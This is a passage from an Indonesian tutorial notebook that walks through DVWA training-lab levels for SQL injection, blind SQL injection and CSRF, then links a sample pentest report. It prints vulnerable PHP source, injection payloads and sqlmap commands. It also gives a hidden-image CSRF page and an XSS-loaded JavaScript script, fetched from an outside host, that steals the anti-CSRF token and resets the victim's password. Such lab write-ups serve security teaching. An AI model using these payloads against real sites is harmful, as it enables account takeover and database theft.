![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M-L9N-IuJRxdqrMF6Jm%2F-M-LVBOLkWnFG25FgwsL%2Fimage.png?alt=media\&token=9bf2c699-64f8-4e87-9ae3-46685cba2490)

Setelah itu anda bisa *explore* lebih jauh lagi.😁

Happy Hacking! 🍻


# High

SQL Injection level High on DVWA

Di bawah ini adalah *source-code* dari SQL Injection level high di DVWA.

```php
vulnerabilities/sqli/source/high.php
<?php
​
if( isset( $_SESSION [ 'id' ] ) ) {
    // Get input
    $id = $_SESSION[ 'id' ];
​
    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );
​
    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Get values
        $first = $row["first_name"];
        $last  = $row["last_name"];
​
        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }
​
    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);        
}
​
?>
```

## Mencari Informasi <a href="#mencari-informasi" id="mencari-informasi"></a>

Pada level ini terdapat perbedaan tentang cara melakukan inputan. Sekarang form inputan berada di halaman **session-input.php** (lalu nilanya dijadikan [session](https://www.w3schools.com/php/php_sessions.asp)) dan hasilnya akan ditampilkan di halaman **index.php**.

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M-NsK3ucRIC22GGdmjC%2F-M-Nyi52BPMjBb4atjtY%2Fimage.png?alt=media\&token=b917a31b-44de-402a-b77d-bdac63dfafe7)

Jika kita mencoba memasukkan kutip `'`, terdapat pesan *error* (tetapi pesan *error* ini, pesan yang telah developer tentukan).

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M-NsK3ucRIC22GGdmjC%2F-M-O-rUpi-F8RWuBtQy8%2Fimage.png?alt=media\&token=89b9dbfa-efbc-40d5-8606-e2537bef6d4c)

Coba perhatikan *source code*-nya, kali ini tidak terdapat pengecekan spesial karakter dan terdapat LIMIT yang membuat hanya 1 *record* yang tampil. Sehingga jika kita kembali menggunakan *payload* berikut, tetap yang muncul hanyalah 1 *record*.

```
%' '0' = '0
```

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M-NsK3ucRIC22GGdmjC%2F-M-O2nwUmCey54ynjv_Q%2Fimage.png?alt=media\&token=91e91ee9-cd1f-4fbe-814a-48f378555e01)

Untuk mengatasi LIMIT ini, saya menemukan suatu cara, yaitu membuat *query* LIMIT ini menjadi komentar dengan menggunakan karakter `#`.

## Melakukan Serangan <a href="#melakukan-serangan" id="melakukan-serangan"></a>

Setelah mengumpulkan informasi, kita akan mulai melakukan *SQL Injection* dengan *payload* seperti berikut:

```sql
%' '0' = '0' #
```

Sehingga *query* yang server jalankan adalah seperti berikut:

```sql
SELECT first_name, last_name FROM users WHERE user_id = '%' '0' = '0' #' LIMIT 1;
```

Mudah dimengerti bukan?😊

Kita juga bisa mendapatkan informasi tentang versi DBMS yang digunakan dengan *payload* berikut:

```sql
1 ' UNION SELECT null, version() #
```

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M-NsK3ucRIC22GGdmjC%2F-M-O6rw1MVBaZeqeg_a1%2Fimage.png?alt=media\&token=44c9348a-a8a4-4011-94e4-7726eb905302)

Yup! Setelah ini kalian bisa *explore* lebih lanjut ya.

Pada level ini saya tidak bisa menggunakan SQLMap. Sepertinya SQLMap kebingungan, karena kita menggunakan halaman **session-input.php** untuk melakukan inputan, sedangkan hasilnya berada pada **index.php**.

### Menggunakan SQLMap <a href="#menggunakan-sqlmap" id="menggunakan-sqlmap"></a>

**UPDATE!!!** Gunakan perintah berikut lalu jalankan:

```bash
sqlmap -u "http://172.17.0.2/vulnerabilities/sqli/?id=1" --cookie="PHPSESSID=lred0jr6na1vmci2o8160sb5ff; security=high" --dbs
```

Tetap semangat! Happy Hacking! 🍻


# Blind

Sesi Blind SQ.


# Low

Blind SQL Injection level Low on DVWA

Di bawah ini adalah *source-code* dari *Blind SQL Injection* level low di DVWA.

```php
vulnerabilities/sqli_blind/source/low.php
<?php
​
if( isset( $_GET[ 'Submit' ] ) ) {
    // Get input
    $id = $_GET[ 'id' ];
​
    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors
​
    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
​
        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }
​
    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
​
?> 
```

## Mencari Informasi <a href="#mencari-informasi" id="mencari-informasi"></a>

Pada level ini tidak ada validasi apa pun untuk pada inputan yang digunakan untuk menjalankan *query*. Ketika kita menginputkan '`1`' (**true**), maka akan tampil seperti berikut:

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M06eX85DrJs_up20A2A%2F-M06hmlOHF5m1ZLri29_%2Fimage.png?alt=media\&token=ba613387-29c1-4b29-983b-01d243f3b5f1)

Jika saya coba membuatnya *error* (**false**), maka akan tampil seperti berikut:

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M06eX85DrJs_up20A2A%2F-M06hvLzQUZTOBwOz3-X%2Fimage.png?alt=media\&token=127654ac-eadd-405d-b425-c9746fff8ef4)

Ketika saya mencoba menyisipkan *payload* seperti berikut, maka hasilnya akan **true**. Ini berarti form tersebut memiliki celah *Blind SQL Injection*.

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M06eX85DrJs_up20A2A%2F-M06iCWYt7MWRll9zPkE%2Fimage.png?alt=media\&token=ce3b1c05-ef23-40e8-ab66-dc9756304122)

Untuk melakukan eskplorasi lebih lanjut, kita membutuhkan tool SQLMap.

## Melakukan Serangan <a href="#melakukan-serangan" id="melakukan-serangan"></a>

Oke, langsung saja kita jalankan SQLMap seperti berikut ini:

```bash
sqlmap -u "172.17.0.2/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="PHPSESSID=jusi9ccuu6qfk9m3tqdf103jo2; security=low" --dbs
```

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M06eX85DrJs_up20A2A%2F-M06msE5Z59bflTE6jos%2Fimage.png?alt=media\&token=7a232ad6-e31e-4c32-8865-972fe7b29bf9)

Terlihat bahwa terdapat 2 database yang tersedia pada akun tersebut.

Mudahkan? 😁 Happy Hacking! 🍻


# Medium

Blind SQL Injection level Medium on DVWA

Di bawah ini adalah *source-code* dari *Blind SQL Injection* level medium di DVWA.

```
vulnerabilities/sqli_blind/source/medium.php<?php​if( isset( $_POST[ 'Submit' ]  ) ) {    // Get input    $id = $_POST[ 'id' ];    $id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));​    // Check database    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors​    // Get results    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors    if( $num > 0 ) {        // Feedback for end user        echo '<pre>User ID exists in the database.</pre>';    }    else {        // Feedback for end user        echo '<pre>User ID is MISSING from the database.</pre>';    }​    //mysql_close();}​?> 
```

## Mencari Informasi <a href="#mencari-informasi" id="mencari-informasi"></a>

Pada level medium ini, form yang digunakan adalah bertipe **select** dan method yang digunakan adalah `POST`.

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M06eX85DrJs_up20A2A%2F-M06vkitNMqPhlnzU9As%2Fimage.png?alt=media\&token=1e1746c4-e428-4af7-8a98-59de5e986393)

Sehingga untuk merubah nilai inputannya, kita membutuhkan bantuan Burpsuite, seperti berikut:

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M06eX85DrJs_up20A2A%2F-M06vyCn6fz4iMQo-QWr%2Fimage.png?alt=media\&token=9ed7ae63-4761-431c-97a7-266a0b05424f)

Saya mencoba membuatnya bernilai **false** dengan membuat nilai `id` menjadi '`'`'.

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M06eX85DrJs_up20A2A%2F-M06w5f-tT9zG2iqvTkJ%2Fimage.png?alt=media\&token=bb709469-c68b-4bb1-8fe3-cefe5efd4938)

Dan ketika saya menggunakan *payload* berikut, maka hasilnya akan **true**:

```
1 or 1 = 1
```

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M06eX85DrJs_up20A2A%2F-M06wyC_0NF9ZyyKFpEf%2Fimage.png?alt=media\&token=769facf4-74d4-40b1-bb69-dedfe98d6f47)

Yup! Terdapat celah Blind SQL Injection. Kita akan menggunakan SQLMap untuk eksplorasi lebih lanjut.

## Melakukan Serangan <a href="#melakukan-serangan" id="melakukan-serangan"></a>

**Pertama-tama**, tangkap *request* menggunakan Burpsuite, lalu simpan ke dalam file seperti berikut:

```bash
r.txtPOST /vulnerabilities/sqli_blind/ HTTP/1.1Host: 172.17.0.2User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:73.0) Gecko/20100101 Firefox/73.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedContent-Length: 18Origin: http://172.17.0.2Connection: closeReferer: http://172.17.0.2/vulnerabilities/sqli_blind/Cookie: lang=en-US; PHPSESSID=jusi9ccuu6qfk9m3tqdf103jo2; security=mediumUpgrade-Insecure-Requests: 1i_like_gitea: 11session​id=1&Submit=Submit
```

Selanjutnya, jalankan SQLMap seperti berikut:

```bash
sqlmap -r r.txt --dbs
```

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M06eX85DrJs_up20A2A%2F-M06xi79Fa7jU0DwF9cI%2Fimage.png?alt=media\&token=9eec3df3-a933-4774-ac36-e6202a22b9fb)

Dan hasilnya terlihat bahwa terdapat 2 database yang tersedia.

Happy Hacking! 🍻


# High

Blind SQL Injection level High on DVWA

Di bawah ini adalah *source-code* dari *Blind SQL Injection* level high di DVWA.

```php
vulnerabilities/sqli_blind/source/high.php
<?php
​
if( isset( $_COOKIE[ 'id' ] ) ) {
    // Get input
    $id = $_COOKIE[ 'id' ];
​
    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors
​
    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // Might sleep a random amount
        if( rand( 0, 5 ) == 3 ) {
            sleep( rand( 2, 4 ) );
        }
​
        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
​
        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }
​
    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
​
?> 
```

## Mencari Informasi <a href="#mencari-informasi" id="mencari-informasi"></a>

Pada level ini terdapat perbedaan tentang cara melakukan inputan. Sekarang form inputan berada di halaman **cookie-input.php** (lalu nilanya dijadikan [*cookie*](https://www.w3schools.com/php/php_cookies.asp)) dan hasilnya akan ditampilkan di halaman **index.php**.

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M06eX85DrJs_up20A2A%2F-M06zQSHHCqYZw4t_TYd%2Fimage.png?alt=media\&token=d2336ed3-69d2-4163-9c3f-8596c4d8dd45)

Saya mencoba membuatnya bernilai **false** dengan membuat nilai `id` menjadi '`'`'.

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M06eX85DrJs_up20A2A%2F-M072FR2myOLDHG5MeJD%2Fimage.png?alt=media\&token=9164faad-7db6-4bc2-b70c-dd82a660f893)

Setelah mengetahui pesan jika melakukan kesalahan, selanjutnya saya mencoba menggunakan *payload* berikut untuk melihat apakah hasilnya bernilai **true** atau **false**:

```
1 or 1 = 1#
```

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M06eX85DrJs_up20A2A%2F-M072a-JPAiQK8rdeKnY%2Fimage.png?alt=media\&token=b763eab7-7d8e-4196-a6a4-6d0ce6d17526)

Dan hasilnya **true**! Selanjutnya kita akan menggunakan SQLMap. 😁

## Melakukan Serangan <a href="#melakukan-serangan" id="melakukan-serangan"></a>

Gunakan perintah berikut lalu jalankan:

```
sqlmap -u "http://172.17.0.2/vulnerabilities/sqli_blind/?id=1" --cookie="PHPSESSID=jusi9ccuu6qfk9m3tqdf103jo2; security=high" --dbs
```

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M06eX85DrJs_up20A2A%2F-M073faSalKon-BWuMPi%2Fimage.png?alt=media\&token=19d174f2-9848-4567-a372-aa002f6539a6)

Berhasil! Terlihat bahwa terdapat 2 database yang tersedia.

Sama seperti *SQL Injection* level high, saya belum bisa menjelaskan kenapa ini bisa terjadi. ☹

Tetap semangat! Happy Hacking! 😊


# CSRF

**Cross-Site Request Forgery** salah satu jenis serangan yang masih sering ditemukan hingga saat ini.

## Apa itu CSRF?

**Cross-Site Request Forgery** dikenal juga dengan nama *one click attack* atau *session riding* dan biasa disingkat menjadi **CSRF** atau **XSRF**, merupakan jenis ekploitasi berbahaya dari sebuah website di mana perintah yang tidak sah ditransmisikan dari pengguna yang dipercaya oleh aplikasi web.

Mudahnya, serangan CSRF ini **menipu** situs web dengan cara **penyerang membuat&#x20;*****request*****&#x20;yang seolah-olah&#x20;*****request*****&#x20;tersebut berasal dari user yang dipercaya (korban)**.

Serangan bekerja melalui link atau *script* pada halaman web yang diakses oleh user. Link tersebut dapat berupa gambar yang terhubung ke website tertentu.&#x20;

Jika browser victim menyimpan informasi otentikasi dalam sebuah *cookie* yang belum *expire*, maka dengan mengklik ke link tersebut akan menyebabkan website diakses menggunakan *cookie* victim yang melakukan klik. Dengan kata lain, penyerang menipu browser user untuk mengirimkan *HTTP request* ke website target.

## Pengetahuan yang Harus Dimiliki

Ada 2 pengetahuan yang sangat penting menurut saya untuk melakukan CSRF ini, yaitu:

1. Pengetahuan tentang *HTTP request*,
2. Dan *client-side scripting* seperti JavaScript dan HTML.

## Bagaimana Cara Mengatasi CSRF?

Untuk meminimalisir dampak dari celah keamanan CSRF, developer bisa melakukan beberapa pencegahan dibawah ini:

* Website beralih dari metoda *persistent authentication* (menggunakan otentikasi dengan *cookie* atau HTTP) ke metoda *transient authentication* (menggunakan *hidden field* oleh setiap form).
* Menyertakan token *user-specific* rahasia yang ditambahkan ke *cookie*.
* Meskipun CSRF pada dasarnya adalah masalah dengan aplikasi web, user dapat membantu melindungi *account*-nya dengan logoff site sebelum mengunjungi yang lain atau membersihkan cookie browsernya pada akhir session browser.
* Menggunakan SSL (*Secure Socket Layer*) and TLS (*Transport Layer Security*) *encryption* ketika berurusan dengan data yang *sensitive*.
* Setting dan *restrict security* terkait *HTTP Header*, diantaranya Mengatur **Content-Security-Policy**, Menonaktifkan **X-Powered-By**, Mengatur **Strict-Transport-Security**, Mengatur **X-XSS-Protection**.


# Low

CSRF level Low on DVWA

Di bawah ini adalah *source-code* dari CSRF level low di DVWA.

```php
<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>
```

## Mencari Informasi <a href="#mencari-informasi" id="mencari-informasi"></a>

Secara default, *credetial* yang telah diatur untuk DVWA adalah **admin:password**.

Pertama-tama kita lakukan *recon* terlebih dahulu pada form *change password* tersebut dengan mencoba melakukan perubahan password dan melihat *HTTP request*-nya.

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-LzaxxfHURBmuCNtHAnA%2F-Lzb-uV_EzIZMzEBEZTg%2Fimage.png?alt=media\&token=669e2dc5-f8cf-40f2-b543-145594c82ce6)

Terlihat bahwa *request* ini menggunakan method `GET` dan kita bisa tahu parameter yang dikirim ketika melakukan *request*.

Pada level ini tidak ada validasi apa pun selain kecocokan dari kedua form tersebut, sehingga kita bisa dengan mudah melakukan penyerangan.

## Melakukan Serangan <a href="#melakukan-serangan" id="melakukan-serangan"></a>

Jadi begini skenario penyerangannya, saya (seorang peretas yang berniat jahat) membuat website untuk diakses oleh victim. Tampilan halaman webnya adalah seperti berikut:

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-LzaxxfHURBmuCNtHAnA%2F-Lzb1MJZJh-hgbseD-uL%2Fimage.png?alt=media\&token=1ac7f49f-8a41-4c9c-87e8-86a438b8b410)

Memang terlihat tidak berbahaya. Sang victim hanya melihat teks saja. Tapi mari kita lihat apa yang ada dibaliknya.😉

```markup
index.html
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>FBoy Site</title>
</head>
<body>
    <h1>Hey! Tidak ada yang aneh di sini</h1>
    <img style="display: none;" src="http://172.17.0.2/vulnerabilities/csrf/?password_new=pwned&password_conf=pwned&Change=Change">
</body>
</html>
```

Perhatikan tag `img` pada baris ke-11. Alih-alih **src** yang seharusnya merujuk ke aset gambar (contoh: **png** atau **jpeg**), saya membuatnya merujuk (*pointing*) ke *endpoint* form perubahan password yang kita tuju dan melakukan perubahan password menjadi *"pwned"*.

Jadi ketika victim mengunjungi website tersebut, ia tidak sadar bahwa sesuatu telah terjadi. Jika kita lihat *network request*-nya:

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-LzaxxfHURBmuCNtHAnA%2F-Lzb39dBhavFc8F5NwD7%2Fimage.png?alt=media\&token=a94eab43-9687-48e0-b42a-9e66d984d9b6)

Tag `img` tersebut membuat browser mengirim *request* `GET` untuk mengubah password melalui *endpoint* yang sebelumnya kita dapatkan. Dan karena *request* ini berasal dari browser victim, dan victim sudah melakukan autentikasi (login), maka `PHPSESSID` akan terkirim di *HTTP cookie*-nya.

Sekarang kita bisa masuk dengan kata sandi baru *"pwned"*.

Happy Hacking! 🍻


# Medium

CSRF level Medium on DVWA

Di bawah ini adalah *source-code* dari CSRF level medium di DVWA.

```
vulnerabilities/csrf/source/medium.php<?php​if( isset( $_GET[ 'Change' ] ) ) {    // Checks to see where the request came from    if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {        // Get input        $pass_new  = $_GET[ 'password_new' ];        $pass_conf = $_GET[ 'password_conf' ];​        // Do the passwords match?        if( $pass_new == $pass_conf ) {            // They do!            $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));            $pass_new = md5( $pass_new );​            // Update the database            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );​            // Feedback for the user            echo "<pre>Password Changed.</pre>";        }        else {            // Issue with passwords matching            echo "<pre>Passwords did not match.</pre>";        }    }    else {        // Didn't come from a trusted source        echo "<pre>That request didn't look correct.</pre>";    }​    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);}​?> 
```

## Mencari Informasi <a href="#mencari-informasi" id="mencari-informasi"></a>

​[`stripos()`](https://www.w3schools.com/php/func_string_stripos.asp) berfungsi untuk mencari adanya substring dalam sebuah string (*case-insensitive*). Dalam kasus ini mungkin developer bermaksud ingin membuat semua *request* berasal dari website-nya. Terlihat bahwa di baris ke-5 terdapat validasi bahwa jika `HTTP_REFERER` mengandung kata dari `SERVER_NAME` maka akan bernilai `true` dan proses akan dilanjutkan.

Jika kita menggunakan cara sebelumnya, maka proses perubahan password akan gagal karena *referer* tidak mengandung kata dari *server name/host*.

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-LzeScRXTzwCkx8H09IQ%2F-LzeXr9e32B37vJU-9Iv%2Fimage.png?alt=media\&token=277d8eca-3cf0-4a5f-8edc-30fc32ecd5a9)

Untuk mengatasi hal ini kita bisa saja merubah file **index.html** yang sebelumnya kita buat, dirubah menjadi nama host target (dalam kasus saya ini menjadi **172.17.0.2.html**).

## Melakukan Serangan <a href="#melakukan-serangan" id="melakukan-serangan"></a>

Seperti dari hasil *recon*, kita akan merubah nama file-nya menjadi host dari website target. Setelah itu, kita akan membuat victim mengakses mengakses website yang telah kita buat.

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-LzeScRXTzwCkx8H09IQ%2F-LzeZspJcmK3ksW1vN8b%2Fimage.png?alt=media\&token=18385876-9718-4f22-9b82-7287b73a8c5b)

Setelah victim yang telah terautentikasi mengakses website tersebut, maka password akan berhasil diubah. Dan sekarang kita bisa menggunakan password baru yang telah ditentukan yaitu *"pwned"*.

Happy Hacking! 🍻


# High

CSRF level High on DVWA

Di bawah ini adalah *source-code* dari CSRF level high di DVWA.

```php
vulnerabilities/csrf/source/high.php
<?php
​
if( isset( $_GET[ 'Change' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
​
    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];
​
    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );
​
        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
​
        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }
​
    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
​
// Generate Anti-CSRF token
generateSessionToken();
​
?> 
```

## Mencari Informasi <a href="#mencari-informasi" id="mencari-informasi"></a>

Jika kita melakukan *inspect element* pada level high ini, maka akan terlihat bahwa terdapat parameter `user_token` yang sengaja disembunyikan oleh developer.

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M-jAsoY36TyQqF2pOsV%2F-M-jh40uAPEXe9dS8Zhd%2Fimage.png?alt=media\&token=6a5f1459-738f-4f3e-8a95-36ab5fc5a345)

`user_token` ini akan terkirim ketika kita melakukan *request*.

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M-jAsoY36TyQqF2pOsV%2F-M-jjeiedURV7rCXXjnH%2Fimage.png?alt=media\&token=1702ba6d-c6ee-4cb2-bbf3-cedb069e0a49)

Nilai dari `user_token` ini akan berubah-ubah setiap kali kita melakukan *request* baru (coba saja *refresh*). Nilai dari parameter ini nantinya akan divalidasi kecocokannya dengan yang ada di server. Ini lah yang dinamakan **Anti-CSRF token** yang berfungsi untuk memastikan bahwa *request* dilakuakan secara sah.

Setelah beberapa hari memikirkan jalan keluar untuk mengatasi masalah ini, akhirnya saya menemukan titik terang ketika membaca salah satu [artikel](https://hd7exploit.wordpress.com/2017/05/27/dvwa-csrf-high-level/). Untuk menyelesaikan masalah ini kita membutuhkan bantuan dari *vulnerability* lainnya, yaitu XSS.

Jadi skenarionya, kita akan menjalankan JavaScript melalui XSS untuk mendapatkan nilai dari token tersebut, lalu melakukan CSRF untuk merubah password. WOW! Menjadi pengetahuan baru ini bagi saya. 😅

## Melakukan Serangan <a href="#melakukan-serangan" id="melakukan-serangan"></a>

Oke dari informasi yang sudah kita dapatkan, kita akan siap melakukan serangan.

Pertama-tama kita akan membuat *script* JS seperti berikut:

```javascript
var theUrl = 'http://172.17.0.2/vulnerabilities/csrf/';
var pass = 'pwned';
if (window.XMLHttpRequest){
    xmlhttp=new XMLHttpRequest();
}else{
    xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.withCredentials = true;
var hacked = false;
xmlhttp.onreadystatechange=function(){
    if (xmlhttp.readyState==4 && xmlhttp.status==200)
    {
        var text = xmlhttp.responseText;
        var regex = /user_token\' value\=\'(.*?)\' \/\>/;
        var match = text.match(regex);
        var token = match[1];
        var new_url = 'http://172.17.0.2/vulnerabilities/csrf/?user_token='+token+'&password_new='+pass+'&password_conf='+pass+'&Change=Change'
        if(!hacked){
            alert('Got token:' + match[1]);
            hacked = true;
            xmlhttp.open("GET", new_url, false );
            xmlhttp.send();  
        }
        count++;
    }
};
xmlhttp.open("GET", theUrl, false );
xmlhttp.send();  
```

Pastikan URL-nya sudah sesuai dengan kondisi anda.

Selanjutnya kita upload file tersebut ke server yang bisa diakses oleh DVWA (contoh: **<http://0.0.0.0/xsrf-to-csrf.js>**). Setelah itu lakukan serangan XSS (sebagai contoh saya menggunakan XSS DOM) dan jalankan *script* JS yang telah kita buat sebelumnya.

Anda bisa mempelajari serangan XSS DOM [di sini](https://anggipradana.gitbook.io/anggi-s-notes/dvwa/cross-site-scripting-xss/dom).

```
http://172.17.0.2/vulnerabilities/xss_d/?default=Spanish#<script src="http://0.0.0.0/xsrf-to-csrf.js"></script>
```

Dan ketika victim menjalankan XSS tersebut, maka *script* akan mengambil token dan akan melakukan CSRF.

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M-jAsoY36TyQqF2pOsV%2F-M-jrk6Bs14kiFZjRZ2Q%2Fimage.png?alt=media\&token=83d28663-faa3-4c47-a6f8-e21ecfc95665)

Sekarang kita bisa melakukan login dengan menggunakan password baru, yaitu *"pwned"*. Selamat!

Tetap semangat! Happy Hacking! 🍻


# Pentesting Report Sample

## TCM Security Sample Pentest-Report <a href="#user-content-tcm-security-sample-pentest-report" id="user-content-tcm-security-sample-pentest-report"></a>

Sample pentest report provided by TCM Security

{% file src="/files/iCs0JIzpGVweAp8aOE2m" %}

#### Notes <a href="#user-content-notes" id="user-content-notes"></a>

This report belongs to TCM Security. The report only includes one finding and is meant to be a starter template for others to use. Please feel free to download and make this your own.

Happy hacking!

{% embed url="<https://www.youtube.com/watch?v=EOoBAq6z4Zk>" %}


# Tutorial Penggunaan ZAP

Source:https\://www\.softwaretestinghelp.com/

